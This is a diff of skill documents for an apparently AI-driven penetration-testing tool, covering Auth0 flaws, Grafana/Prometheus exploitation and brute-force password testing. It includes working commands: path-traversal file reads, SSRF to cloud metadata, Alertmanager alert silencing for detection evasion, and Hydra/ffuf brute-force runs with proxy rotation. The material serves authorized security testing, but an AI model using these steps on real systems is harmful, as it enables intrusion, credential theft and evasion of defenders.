- Management API called from browser (CORS misconfiguration)
## Key Vulnerabilities
### Application Configuration
**Callback URL / Origin Misconfigurations**
- Wildcard or overly broad Allowed Callback URLs: `https://app.com/*`, `http://localhost:*`
- Allowed Logout URLs, Web Origins, CORS origins too permissive
- Native app custom scheme hijacking (`com.app://callback`)
**Token Settings**
- ID Token used as API access token (audience/scope confusion)
- Refresh token rotation disabled; overly long TTL
- Signing algorithm downgrade if RS256 not enforced downstream
### API Authorization (Resource Server)
**Missing Scope/RBAC Enforcement**
- API accepts any valid access token without required `scope` or `permissions` claim
- RBAC enabled in Auth0 but API doesn't call `/userinfo` or validate `permissions` array
- Wrong `audience` accepted — token for App A works on App B's API
**Test:**
```
# Token for audience A used against API B
Authorization: Bearer <token_with_audience_A>
```
### Rules and Actions Abuse
**Post-Login Rule/Action Injection**
- Rules that add claims based on unvalidated user metadata:
```javascript
user.app_metadata.role = 'admin' // if user can set app_metadata via signup/API
```
- `context.authorization` manipulation in Actions
- Secrets in Rule code exposed to tenant admins or via Management API leak
**Signup / Registration Actions**
- `pre-user-registration` not blocking disposable emails or role self-assignment
- Social connection account linking without verified email → account takeover
### Organizations (B2B Multi-Tenancy)
- Missing `org_id` validation in API — user from Org A accesses Org B data
- Invitation flows accepting attacker email domains
- Organization membership not re-checked after role change
### MFA Bypass
- MFA not enforced on Management API or high-risk applications
- Remember-browser cookie bypasses step-up for sensitive actions
- MFA challenge only on Universal Login but API accepts password-grant tokens without MFA
- Recovery codes/brute-force on enrollment endpoints
### Account Takeover Vectors
- Password reset link not invalidated after use; predictable reset tokens
- Email verification not required before sensitive actions
- Change password without re-auth or MFA
- Linking attacker's social IdP to victim account (same email, unverified)
### Management API
- M2M app with excessive scopes: `delete:users`, `update:users_app_metadata`
- Management API token in frontend JavaScript or mobile app
- Rate limiting absent on `/api/v2/users` enumeration
### Custom Database Scripts
- Custom login script with SQL injection in username lookup
- `get_user` script returning excessive profile fields
- Scripts with hardcoded credentials or weak hashing
## Advanced Techniques
**Cross-Application Token Confusion**
- Same `client_secret` reused across environments (dev/prod)
- Multiple APIs sharing signing keys without `aud` validation
**Resource Owner Password Grant (if enabled)**
- Legacy grant enabled — direct username/password to token endpoint, bypassing Universal Login MFA
**Impersonation / Delegation**
- `act_as` or delegation features misconfigured (legacy features in older tenants)
## Testing Methodology
1. **Extract tenant config** — Domain, client_id, audience, scopes from app
2. **Callback/origin matrix** — Fuzz Allowed Callback URLs and Web Origins
3. **Token validation** — Swap audiences, strip scopes, expired tokens, wrong signing keys
4. **Org boundary** — Two org users accessing each other's org-scoped resources
5. **MFA policy** — Sensitive actions without step-up; API paths bypassing MFA
6. **Management API** — Hunt for leaked M2M creds; test scope boundaries
7. **Rules/Actions** — Trace claim injection from `user_metadata` / `app_metadata`
## Validation
1. Demonstrate account takeover or cross-org access with token/callback/metadata abuse
2. Show API accepting token without required scope/permission/audience
3. MFA bypass PoC on protected application flow
4. Document Auth0 setting (Rule, Application config, API RBAC) root cause
5. Provide authorize → callback → API request chain with evidence
## False Positives
- Callback URL validation rejects all fuzz attempts consistently
- API validates `aud`, `iss`, `scope`/`permissions` on every request
- MFA enforced via Auth0 Action on every login for sensitive apps
- `app_metadata` writable only by admin via Management API, not user signup
- Organizations feature correctly binds `org_id` in token and API enforces it
## Impact
- Full account takeover across Auth0-connected applications
- Cross-tenant data breach in B2B org deployments
- Privilege escalation via metadata/claim injection in Rules
- Mass user enumeration/modification via Management API abuse
## Pro Tips
1. Always capture full authorize URL — `audience` and `scope` reveal API targets
2. Decode access token JWT — check `permissions`, `scope`, `org_id`, `https://.../roles` claims
3. Test dev/stage tenants separately — often weaker callback rules
4. Pair with `oauth` and `authentication_jwt` skills for flow/token layer testing
5. Management API M2M creds in CI logs are high-value — search GitHub, buckets, artifacts
## Summary
Auth0 security spans tenant configuration (callbacks, MFA, Rules) and downstream API token validation (`aud`, `scope`, `permissions`, `org_id`). A perfectly configured Universal Login fails if the API accepts tokens without enforcing Auth0's authorization model.
@@ -1,189 +0,0 @@
---
name: grafana_prometheus
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
**Prometheus** (default `:9090`)
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
**Alertmanager** (default `:9093`)
- Alert/silence API (`/api/v2/*`), config with receiver credentials
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
## Reconnaissance
**Fingerprint & version** (version drives which CVEs apply)
```
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
```
**Auth posture — always test unauthenticated first**
```
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
```
**Credential entry points**
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
## Key Vulnerabilities & CVEs
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
```
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
```
High-value reads:
- `/etc/grafana/grafana.ini` and `conf/defaults.ini``secret_key`, admin password, SMTP/LDAP creds
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
Grafana **v11.0.011.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 515 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
### 3. Prometheus config/targets → leaked scrape credentials + inventory
```
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
Metrics are a recon goldmine. Query without auth:
```
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
```
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
```
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
## Testing Methodology
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
-17
View File
@@ -365,23 +365,6 @@ agent-browser dialog accept "text" # accept with prompt input
agent-browser dialog dismiss # cancel
```
## Readiness & recovery
The first `agent-browser open` in a session launches the headless-Chrome
daemon; later commands reuse it. Distinguish the two failure modes and react
differently — do **not** blindly re-run the same failing command in a loop:
- **Daemon / connection failure** (`Failed to connect`, `connection refused`,
socket missing, `browser not running`): the daemon isn't up or has died. Run
`agent-browser doctor` (add `--fix` if it reports repairable problems), then
re-open the page. Retrying the original command unchanged will keep failing.
- **Malformed command** (`Unknown command`, `Ref not found`, bad flag): fix the
command itself — re-snapshot for fresh refs, or correct the syntax.
Invoke `agent-browser` directly through `exec_command`; there is no need to wrap
it in an extra `sh -c "..."` / `bash -lc "..."` layer, which only adds shell
quoting and startup-file pitfalls.
## Diagnosing install issues
If a command fails unexpectedly (`Unknown command`, `Failed to connect`,
+3 -18
View File
@@ -24,15 +24,7 @@ High-signal flags:
- `-p, -parallelism <n>` concurrent input targets
- `-rl, -rate-limit <n>` request rate limit
- `-timeout <seconds>` request timeout
- `-ct, -crawl-duration <s|m|h|d>` maximum time to crawl the target
- `-retry <n>` retry count
- `-mdp, -max-domain-pages <n>` cap pages crawled per domain (default: unlimited)
- `-fsu, -filter-similar` collapse similar URLs (e.g. /users/123 and /users/456)
- `-fs, -field-scope <dn|rdn|fqdn|regex>` crawl scope (default `rdn` = root domain + ALL subdomains)
- `-f, -field <url|path|...>` emit only one field (e.g. `-f url` for a plain URL list)
- `-or, -omit-raw` omit raw request/response from JSONL output
- `-ob, -omit-body` omit response body from JSONL output
- `-mrs, -max-response-size <bytes>` cap per-response bytes read (default 4194304)
- `-ef, -extension-filter <list>` extension exclusions
- `-tlsi, -tls-impersonate` experimental JA3/TLS impersonation
- `-hl, -headless` enable hybrid headless crawling
@@ -45,13 +37,13 @@ High-signal flags:
- `-silent`, `-j, -jsonl`, `-o <file>` output controls
Agent-safe baseline for automation:
`mkdir -p crawl && katana -u https://target.tld -d 3 -ct 10m -mdp 2000 -fsu -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
`mkdir -p crawl && katana -u https://target.tld -d 3 -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
Common patterns:
- Fast crawl baseline:
`katana -u https://target.tld -d 3 -jc -silent`
- Deeper JS-aware crawl (narrowed target; keep it time-bounded):
`katana -u https://target.tld -d 5 -ct 15m -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Deeper JS-aware crawl:
`katana -u https://target.tld -d 5 -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Multi-target run with JSONL output:
`katana -list urls.txt -d 3 -jc -silent -j -o katana.jsonl`
- Headless crawl with local Chrome:
@@ -67,13 +59,6 @@ Critical correctness rules:
- For `-kf`, keep depth at least `-d 3` so known files are fully covered.
- If writing to a file, ensure parent directory exists before `-o`.
Keeping output small (katana has NO default page cap, so plan for volume):
- Bound scope and volume: `-fs fqdn` (or `-cs`/`-cos` regex) so the crawl doesn't wander across every subdomain, `-mdp <n>` to cap pages per domain, `-fsu` to collapse near-identical URLs, and `-ct`/`-d` to bound time and depth.
- Shrink each record: default JSONL is verbose. If you only need endpoints, emit a plain URL list with `-f url` instead of `-j`. If you need JSONL, drop the heavy parts with `-or` (omit raw) and `-ob` (omit body), and lower `-mrs` to cap per-response bytes.
- Reserve `-jsl` / `-kf all` / higher `-d` for a specific narrowed target — they multiply output fast on large sites.
- Reduce, then delete: once the crawl finishes, extract just what you need (e.g. `katana ... -f url -o urls.txt` or `sort -u` a URL list, or a short note of interesting paths) and remove the raw crawl file/dir. Don't keep large raw crawls around after you've distilled them.
- Sanity-check size (`du -sh <out>`); if it's outsized for the scope, tighten `-fs`/`-mdp`/`-fsu`/`-d`/`-ct` and re-run rather than keeping it.
Usage rules:
- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs.
- Use `-ef` early to reduce static-file noise before fuzzing.
+8 -17
View File
@@ -7,9 +7,9 @@ description: Run Python through exec_command in the SDK sandbox. Use the image-b
Use `exec_command` for Python. There is no separate Strix Python executor.
Prefer writing reusable scripts to a `.py` file and running them with
`python3 <name>.py`. For short one-off transformations, `python3 -c` or a
small here-document is fine.
Prefer writing reusable scripts to `/workspace/scratch/<name>.py` and
running them with `python3 /workspace/scratch/<name>.py`. For short
one-off transformations, `python3 -c` or a small here-document is fine.
The `shell` parameter on `exec_command` is for swapping POSIX shells
(`bash`/`zsh`/`sh`), not for picking interpreters. Put the interpreter
@@ -84,26 +84,17 @@ automatically, so it shows up in `list_requests` and you can use
For iterative exploit work, put code in a file:
```text
1. Create or edit a task-unique script (e.g. `poc_<task-id>.py`, so it can't
clobber a project file or another agent's script) with `apply_patch`.
2. Run it with `exec_command`: `python3 poc_<task-id>.py`.
1. Create or edit `/workspace/scratch/exploit.py` with `apply_patch`.
2. Run it with `exec_command`: `python3 /workspace/scratch/exploit.py`.
3. Edit and rerun until the proof-of-concept is reliable.
```
## Installing extra packages
The sandbox's Python lives in `/app/.venv`, and it is the active virtualenv
(`python3` / `pip` already resolve to it). The following common libraries are
**pre-installed** — import them directly, no install step needed:
`requests`, `httpx`, `beautifulsoup4` (`bs4`), `lxml`, `pyjwt` (`jwt`),
`cryptography`.
To add a one-off dependency for an exploit script, use `uv` (already in the
image and much faster than pip):
The sandbox's Python lives in `/app/.venv`. To add a one-off dependency
for an exploit script, use `uv` (already in the image and much faster
than pip):
```bash
uv pip install --python /app/.venv/bin/python <package>
```
Plain `pip install <package>` also works because the venv is active. Install
before you import, so scripts don't fail with `ModuleNotFoundError`.
@@ -130,13 +130,6 @@ TLS clues: certificate CN/SAN referencing provider default host instead of the c
3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
## Severity
- Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
- When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
- If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
- Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
## False Positives
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
@@ -1,212 +0,0 @@
---
name: weak-password-detection
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and tooling like Hydra
---
# Weak Password Detection / Credential Brute-Force
Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
## Attack Surface
- Login portals (web, API, mobile, SSH, FTP, Telnet, RDP)
- Admin panels, dashboards, and management interfaces
- Default or hardcoded credentials in applications and devices
- Self-registration flows with weak password policies
- Password reset flows that generate predictable tokens or passwords
- API key and token authentication with weak secrets
## Reconnaissance
### Identify Authentication Endpoints
- Standard login forms: `/login`, `/signin`, `/auth`, `/authenticate`, `/api/login`
- Admin panels: `/admin`, `/administrator`, `/manage`, `/console`, `/cpanel`
- API auth: `/api/v1/token`, `/oauth/token`, `/api/auth`, `/graphql` (login mutations)
- Service ports: SSH (22), FTP (21), Telnet (23), SMB (445), RDP (3389), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017)
- Mobile app login endpoints and deep-link auth handlers
### Determine Authentication Mechanism
- Form-based (POST with username/password fields)
- Basic Authentication (Base64 `Authorization: Basic ...`)
- Bearer token / JWT (password grant flow)
- API key in header, query parameter, or body
- Multi-step authentication (username first, then password)
- CAPTCHA presence and type (reCAPTCHA, hCaptcha, image-based, math)
- Rate limiting indicators (429 responses, lockout messages, delays)
### Enumerate Valid Usernames
- Error message differentiation: "Invalid username" vs "Invalid password"
- Registration page username availability checks
- Password reset flow: response timing or message leakage
- Public profiles, API responses, or metadata exposing usernames
- Common patterns: `admin`, `administrator`, `root`, `user`, `test`, `guest`, `support`, `service`, `api`, `dev`, `ops`
- Email format derivation from company domain patterns
## Key Vulnerabilities
### Weak Password Policies
- No minimum length or complexity requirements
- Allowing common passwords: `password`, `123456`, `qwerty`, `admin`, `letmein`
- Not checking against breached password databases (Have I Been Pwned)
- Case-insensitive password storage
- No password history enforcement
- Excessively short maximum length (indicates plaintext or weak hashing)
### Default and Hardcoded Credentials
- Vendor defaults: `admin/admin`, `admin/password`, `root/root`, `guest/guest`
- Application frameworks: `django/admin`, `tomcat/tomcat`, `weblogic/weblogic`
- IoT devices, routers, cameras: manufacturer-specific defaults
- Database defaults: `postgres/postgres`, `sa/sa`, `root/(empty)`
- Cloud defaults: AWS instance metadata, Azure default service principals
- Hardcoded in source code, configuration files, or documentation
### Credential Stuffing
- Users reuse passwords across services
- Breached credential lists (COMB, Collection #1-5, etc.) enable mass account takeover
- No multi-factor authentication allows direct access with valid credentials
- Missing breach detection or forced password rotation after known leaks
### Predictable System-Generated Passwords
- Sequential or pattern-based: `Password1`, `Welcome2025!`, `CompanyName123`
- Time-based generation: passwords derived from registration timestamp
- Weak randomness: predictable PRNG seeds in password generators
- Reset tokens that double as temporary passwords with short expiration
### Brute-Force Vulnerabilities
- No rate limiting on login attempts
- Absent or ineffective account lockout (client-side only, easily bypassed)
- IP-based blocking without session/user correlation (rotate IPs via proxy)
- CAPTCHA bypassable or only triggered after excessive attempts
- Parallel login attempts not tracked (race conditions on attempt counters)
- Verbose error messages revealing valid usernames
## Advanced Techniques
### Targeted Password Lists
- Generate custom wordlists from:
- Company name, product names, and domain components
- Geographic location, industry terms
- Season + year patterns: `Summer2025!`, `Winter2026@`
- Keyboard walks and leet speak variations
- Previously breached passwords for the target domain
- Cewl: `cewl -d 3 -m 5 -w custom.txt https://target.com` to generate from website content
### Credential Stuffing Workflows
- Use breach databases filtered by target domain or related domains
- Test email:password pairs where email matches target domain
- Test username:password pairs with common username derivations
- Validate successful logins without triggering MFA by checking session endpoints
### Multi-Step Authentication Bypass
- Username enumeration → password brute-force on second step
- Session fixation between steps: manipulate step identifiers
- Skip steps via direct URL access to later stages
- Response manipulation to bypass verification checks
### API and Mobile-Specific
- GraphQL login mutations: batch brute-force via array inputs
- Mobile APIs often lack rate limiting compared to web frontends
- JWT password grant flows: brute-force against `/token` endpoint
- OAuth2 password grant: test `grant_type=password` with weak credentials
### Service-Level Brute-Force
- SSH: `hydra -l admin -P passwords.txt ssh://target.com`
- FTP: `hydra -L users.txt -P passwords.txt ftp://target.com`
- RDP: `hydra -l administrator -P passwords.txt rdp://target.com`
- SMB: `hydra -L users.txt -P passwords.txt smb://target.com`
- Database: MySQL, PostgreSQL, MongoDB, Redis with weak credentials
- API endpoints: `ffuf` or custom scripts for HTTP-based brute-force
## Tooling
### Hydra (Primary Tool)
- HTTP POST form brute-force:
`hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"`
- Basic Auth:
`hydra -L users.txt -P passwords.txt target.com http-get -s 8080 /admin`
- SSH:
`hydra -l root -P passwords.txt -t 4 ssh://target.com`
- FTP:
`hydra -L users.txt -P passwords.txt ftp://target.com`
- Custom headers and cookies:
`hydra ... http-post-form "/api/login:json={\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:F=401"`
### ffuf (HTTP Fuzzing)
- Login brute-force with multiple users and passwords:
`ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
- Filter by response size, status code, or regex to identify successes
### Patator (Versatile Brute-Force)
- `patator http_fuzz url=https://target.com/login method=POST body='username=FILE0&password=FILE1' 0=user.txt 1=pass.txt -x ignore:fgrep='Invalid'`
### Custom Python Scripts
- Use `requests` with threading for high-speed API brute-force
- Implement jitter and proxy rotation to evade rate limiting
- Parse CSRF tokens dynamically between requests
### Wordlists
- `/usr/share/wordlists/rockyou.txt` (common passwords)
- `/usr/share/seclists/Passwords/` (organized by category)
- `/usr/share/seclists/Passwords/Default-Credentials/` (vendor defaults)
